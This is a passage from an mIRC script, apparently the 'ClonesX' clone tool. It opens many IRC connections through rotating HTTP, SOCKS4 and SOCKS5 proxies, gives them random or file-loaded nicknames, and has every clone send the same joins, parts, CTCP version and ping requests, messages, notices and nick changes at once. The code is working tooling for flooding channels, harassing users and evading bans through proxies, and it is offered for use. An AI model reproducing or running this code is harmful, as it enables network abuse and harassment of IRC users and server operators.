  if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
  596.
  if ($did == 307) { p.cloning.runcmd part $did($dname,316).text }
  597.
  if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
  598.
  if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
  599.
  if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
  600.
  if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
  601.
  if ($did == 312) { p.cloning.runcmd $did($dname,329).text }
  602.
  if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
  603.

  604.
  if ($did == 361) { run $did($dname,361).text }
  605.
}
606.
on 1:DIALOG:p.cloning:menu:*: {
  607.
  if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
  608.
  if ($did == 405) { run irc://irc.quakenet.eu.org/script-planet }
  609.
  if ($did == 406) { run irc://irc.quakenet.eu.org/script-planet }
  610.
  if ($did == 407) { run mailto:Xenon@clanboardzone.de?subject=ClonesX }
  611.
  if ($did == 409) { run irc://irc.quakenet.eu.org/script-planet }
  612.
  if ($did == 410) { run irc://irc.quakenet.eu.org/script-planet }
  613.
  if ($did == 412) { p.cloning.ipports }
  614.
  if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
  615.
  if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Escoge el archivo") }
  616.
  if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
  617.
  if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Guardar en...",Guardar) }
  618.
  if ($did == 421) {
    619.
    unset %p.cloning.Nlist.conn*
    620.
    set %p.cloning.Nlist.conn 1
    621.
    if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal File not found! }
    622.
    set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
    623.
    p.cloning.ddnsd
    624.
  }
  625.
  if ($did == 422) {
    626.
    unset %p.cloning.Nlist.conn*
    627.
    set %p.cloning.Nlist.conn 1
    628.
    set %p.cloning.Nlist.conn.f $sfile($mircdir,"Select file")
    629.
    if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd } 
    630.
  }
  631.
  if ($did == 441) { p.cloning.crdts }
  632.
}
633.
alias -l p.cloning.nick.gr.ad {
  634.
  if ($dialog(p.cloning)) {
    635.
    var %i = 1
    636.
    while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
      637.
      var %p.cloning.adgr1.nicks = $ifmatch
      638.
      if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
      639.
      var %i = %i + 1
      640.
    }
    641.
  }
  642.
}
643.
alias -l p.cloning.jj {
  644.
  if ($did(p.cloning,47).text == Normal) { p.clon.do }
  645.
  elseif ($did(p.cloning,47).text == Proxy) {
    646.
    if (!$did(p.cloning,4,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with them. | p.cloning.recr 1 | return }
    647.
    p.clon.do
    648.
  }
  649.
  elseif ($did(p.cloning,47).text == Socks 4) {
    650.
    if (!$did(p.cloning,69,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 4. | p.cloning.recr 1 | return }
    651.
    ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol doesn't admit domain names (ip's only), /dns $did($dname,10).text and apply the result here ;) | return }
    652.
    p.clon.do
    653.
  }
  654.
  elseif ($did(p.cloning,47).text == Socks 5) {
    655.
    if (!$did(p.cloning,78,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 5. | p.cloning.recr 1 | return }
    656.
    ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol does admit domain names, but in this version of ClonesX it's bot implemented, so, /dns $did($dname,10).text and apply the result here ;) | return }
    657.
    p.clon.do
    658.
  }
  659.
}
660.
alias -l p.clon.dodo {
  661.
  if ($dialog(p.cloning)) && (!$sock($$1)) {
    662.
    p.cloning.do.w $$1 0,0   
    663.
    ;inc %p.cloning.n
    664.
    .sockopen $$1-
    665.
    if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
    666.
    if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
    667.
    if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
    668.
    if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
    669.
    p.clon.stats %p.clon.dodo $did(p.cloning,10)  $did(p.cloning,12)
    670.
  }
  671.
}
672.
alias -l p.clon.do {
  673.
  if ($dialog(p.cloning)) {
    674.
    p.cloning.recr 0
    675.
    var %p.cloning.delay = $did(p.cloning,391).text
    676.
    if ($did(p.cloning,47).text == Normal) {
      677.
      var %i = 1
      678.
      while (%i <= $did(p.cloning,50).text) {
        679.
        inc %p.cloning.t
        680.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10)  $did(p.cloning,12)
        681.
        var %i = %i + 1
        682.
      }   
      683.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      684.
      p.cloning.recr 0
      685.
    }
    686.

    687.
    elseif ($did(p.cloning,47).text == Proxy) {
      688.
      var %i = 1
      689.
      while (%i <= $did(p.cloning,50).text) {
        690.
        if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
        691.
        elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
        692.
        else { p.cloning.fal No hay proxyes. Configúralo. | return }
        693.
        inc %p.cloning.t
        694.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
        695.
        var %i = %i + 1
        696.
      }   
      697.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      698.
      p.cloning.recr 0
      699.
    }
    700.

    701.
    elseif ($did(p.cloning,47).text == Socks 4) {
      702.
      var %i = 1
      703.
      while (%i <= $did(p.cloning,50).text) {
        704.
        if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
        705.
        elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
        706.
        else { p.cloning.fal No hay wingates. Configúralo. | return }
        707.
        inc %p.cloning.t
        708.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
        709.
        var %i = %i + 1
        710.
      }   
      711.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      712.
      p.cloning.recr 0
      713.
    }
    714.

    715.
    elseif ($did(p.cloning,47).text == Socks 5) {
      716.
      var %i = 1
      717.
      while (%i <= $did(p.cloning,50).text) {
        718.
        if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
        719.
        elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
        720.
        else { p.cloning.fal No hay wingates. Configúralo. | return }
        721.
        inc %p.cloning.t
        722.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
        723.
        var %i = %i + 1
        724.
      }   
      725.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      726.
      p.cloning.recr 0
      727.
    }
    728.
  }
  729.
}
730.
alias -l p.cloning.recr {
  731.
  if ($dialog(p.cloning)) {
    732.
    if ($$1 == 0) {
      733.
      did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
      734.
      did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
      735.
    }
    736.
    if ($$1 == 1) {
      737.
      did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
      738.
      did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
      739.
      if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) &&  ($abs($did(p.cloning,50)) != 0) {
        740.
        if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
        741.
        elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
        742.
      }
      743.
    }
    744.
  }
  745.
}
746.
alias -l p.clon.stats {
  747.
  if ($dialog(p.cloning)) {
    748.
    ;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
    749.
    ;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
    750.
    did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
    751.
    did -o p.cloning 90 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
    752.
    did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
    753.
    did -o p.cloning 93 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
    754.
    ;echo -s DEBUG:  Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-)  y Sockets:  $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
    755.
    ;did -o p.cloning 43 1 %p.cloning.n
    756.
    if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
    757.
  }
  758.
}
759.
on 1:DIALOG:p.cloning:init:0: {
  760.
  .disable #p.cloning.DdnsD
  761.
  did -c $dname 31
  762.
  ;.remove CloneX.ini | .remove CloneXo.ini
  763.
  if ($hget(p.cloning.a)) { hfree p.cloning.a }
  764.
  unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
  765.
  did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
  766.
  if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
  767.
  did -c $dname 35 | did -i $dname 37 1 Aleatory | did -i $dname 37 2 Lemming | did -i $dname 37 3 Smurf | did -c $dname 37 1
  768.
  did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
  769.
  var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
  770.
  var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
  771.
  did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
  772.
  p.cloning.conEcheck
  773.
  if ($file(kick.reasons) != $null) {
    774.
    loadbuf -o $dname 23 kick.reasons
    775.
    did -z $dname 23
    776.
  }
  777.
  if ($file(topic.proxy) != $null) {
    778.
    loadbuf -o $dname 91 topic.proxy
    779.
    did -z $dname 91
    780.
  }
  781.
  if ($file(protected.tags) != $null) {
    782.
    loadbuf -o $dname 51 protected.tags
    783.
    did -z $dname 51
    784.
  }
  785.
  if ($file(protected.nicks) != $null) {
    786.
    loadbuf -o $dname 27 protected.nicks
    787.
    did -z $dname 27
    788.
  }
  789.
  if ($file(proxy.perform) != $null) {
    790.
    loadbuf -o $dname 33 proxy.perform
    791.
  }
  792.
}
793.
on 1:SOCKREAD:p.cloning.*: {
  794.
  if ($dialog(p.cloning)) {
    795.
    var %p.cloning.server = $did(p.cloning,10)
    796.
    var %p.cloning.port = $did(p.cloning,12)
    797.
    if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
    798.
    else {
      799.

      800.
      if ($did(p.cloning,47).text == Socks 4) {
        801.
        if ($sock($sockname).mark != 1) {
          802.
          sockread &p.cloning.bread
          803.
          if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
          804.
          if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks4- | .sockclose $sockname | p.cloning.cmds | return }
          805.
        }
        806.
      }
      807.
      if ($did(p.cloning,47).text == Socks 5) {
        808.
        if ($sock($sockname).mark != 1) {
          809.
          sockread &p.cloning.bread
          810.
          ;echo -s bvar: $bvar(&p.cloning.bread,1,10)
          811.
          if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
            812.
            ;echo -s Protocolo Aceptado. Iniciando conexion.
            813.
            var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
            814.
            var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
            815.
            bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
            816.
            sockwrite $sockname &p.cloning.ssenndd
            817.
            ;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
            818.
          }
          819.
          if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          820.
          if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
          821.
          if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          822.
          if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          823.
          if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          824.
        }
        825.
      }
      826.
      sockread %p.cloning.read
      827.
      var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
      828.
      var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
      829.
      var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
      830.
      ;echo -s Rd: %p.cloning.read
      831.
      if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
        832.
        if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Connected: %p.cloning.server %p.cloning.port | p.cloning.cmds }     
        833.
        if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
        834.
      }   
      835.
      elseif (!$abs(%p.cloning.sec2)) {
        836.
        if (%p.cloning.sec2 == NICK) {
          837.
          if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
            838.
            var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
            839.
            var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
            840.
            if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
            841.
            if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }   
            842.
            if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }             
            843.
            p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
            844.
            p.cloning.nicks.act
            845.
          }
          846.
        }
        847.
      }
      848.
      if (%p.cloning.sec2 == 001 && $did(p.cloning,31).state == 1) {
        849.
        var %x = 1
        850.
        while ($did(p.cloning,33,%x) != $null) {
          851.
          sockwrite -n $sockname $replace($did(p.cloning,33,%x),<nick>,$gettok(%p.cloning.read,2,44))
          852.
          inc %x
          853.
        }
        854.
      }
      855.
      if (%p.cloning.sec1 == PING) {
        856.
        sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
        857.
      }
      858.
    }
    859.
  }
  860.
}
861.
alias -l p.cloning.con.com {
  862.
  ;p.cloning.do.rw.o $$1
  863.
  ;p.cloning.do.rw $$1
  864.
  if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
  865.
}
866.

867.
on 1:SOCKOPEN:p.cloning.*: {
  868.
  if ($dialog(p.cloning)) {
    869.
    var %p.cloning.server = $did(p.cloning,10)
    870.
    var %p.cloning.port = $did(p.cloning,12)
    871.
    if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Session start- | p.cloning.cmds }
    872.
    else {
      873.
      ;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
      874.
      if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
      875.
      elseif ($did(p.cloning,47).text == Proxy) {
        876.
        sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
        877.
        sockwrite $sockname $CRLF
        878.
        .timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
        879.
      }
      880.
      elseif ($did(p.cloning,47).text == Socks 4) {
        881.
        var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
        882.
        var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
        883.
        var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
        884.
        var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
        885.

        886.
        ;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF       
        887.
        bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
        888.
        sockwrite $sockname &p.cloning.ssenndd
        889.
        ;echo -s sockopen pasado: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
        890.
      }
      891.
      elseif ($did(p.cloning,47).text == Socks 5) {
        892.
        bset &p.cloning.ssenndd 1 5 1 0
        893.
        ; -t?       
        894.
        sockwrite $sockname &p.cloning.ssenndd
        895.
      }
      896.

      897.
    }
    898.

    899.
  }
  900.
}
901.

902.

903.
alias -l p.cloning.cmds {
  904.
  if ($dialog(p.cloning)) { 
    905.
    p.cloning.nicks.act
    906.
    if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
      907.
      did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
      908.
      did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 |  did -e p.cloning 328
      909.
      did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
      910.
      did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
      911.
      did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
      912.
      did -e p.cloning 367 | did -e p.cloning 351 |  did -e p.cloning 350 |  did -e p.cloning 349 | did -e p.cloning 371
      913.
      did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
      914.
    }
    915.
    else {
      916.
      if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
        917.
        did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
        918.
        did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
        919.
        did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
        920.
        did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 |  did -b p.cloning 312
        921.
        did -b p.cloning 308 | did -b p.cloning 309  | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
        922.
        did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
        923.
        did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 |  did -b p.cloning 328
        924.
        did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
        925.
        did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
        926.
        did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
        927.
        did -b p.cloning 367 | did -b p.cloning 351 |  did -b p.cloning 350 |  did -b p.cloning 349 | did -b p.cloning 371
        928.
        did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
        929.
      }
      930.
    }
    931.
  }
  932.
}
933.
alias -l p.cloning.runcmd {
  934.
  if ($dialog(p.cloning)) {
    935.
    if ($did(p.cloning,334).state == 1) {
      936.
      var %i = 1
      937.
      while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
        938.
        var %p.cloning.runcmd.nick = $ifmatch
        939.
        if ($$1 == nick) {
          940.
          if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$$2) }
          941.
          else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$$2) }       
          942.
        }
        943.
        elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :LOL CAKES }
        944.
        else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
        945.
        var %i = %i + 1
        946.
      }
      947.
      return
      948.
    }
    949.
    elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
    950.
    elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
    951.
    elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
    952.
    elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
    953.
  }
  954.
  var %i = 1
  955.
  while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
    956.
    var %p.cloning.runcmd.nick = $ifmatch
    957.
    if ($$1 == nick) { 
      958.
      if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) }
      959.
      else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) }
      960.
    }
    961.
    elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :BAI }
    962.
    else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
    963.
    var %i = %i + 1
    964.
  }
  965.
}
966.
alias -l p.cloning.list.nicksch {
  967.
  if ($dialog(p.cloning)) {
    968.
    var %i = 1
    969.
    var %o = 1
    970.
    while ($p.cloning.r(%i)) {
      971.
      var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
      972.
      var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
      973.
      if (%p.cloning.list.nicksch.sta) {
        974.
        if ($exists($$1) == $false) { p.cloning.fal Archivo no encontrado! }
        975.
        var %p.cloning.list.nicksch.nnick = $gettok($read($$1,%o),1,32)
        976.
        if (%p.cloning.list.nicksch.nnick) {
          977.
          if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a char... File format: Nick Ident }
          978.
          sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
          979.
        }
        980.
        var %o = %o + 1
        981.
      }
      982.
      var %i = %i + 1
      983.
    }
    984.
  }
  985.
}
986.
alias -l p.cloning.list.save {
  987.
  if ($dialog(p.cloning)) {
    988.
    var %i = 1
    989.
    .remove $$1
    990.
    while ($did(p.cloning,339,%i).text) {
      991.
      write $$1 $ifmatch
      992.
      var %i = %i + 1
      993.
    }
    994.
  }
  995.
}
996.
alias -l p.cloning.nicks.act {
  997.
  if ($dialog(p.cloning)) {
    998.
    did -r p.cloning 339
    999.
    var %i = 1
    1000.
    var %o = 1
    1001.
    while ($p.cloning.r(%i)) {
      1002.
      var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
      1003.
      var %p.cloning.nicks = $gettok($ifmatch,2,44)
      1004.
      if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
      1005.
      var %i = %i + 1
      1006.
    }
    1007.
  }
  1008.
}
1009.
alias -l p.cloning.usIn {
  1010.
  if ($dialog(p.cloning)) {
    1011.
    if (%p.cloning.Nlist.conn == 1) {
      1012.
      inc %p.cloning.Nlist.conn.n
      1013.
      var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),1,32)
      1014.
      var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
      1015.
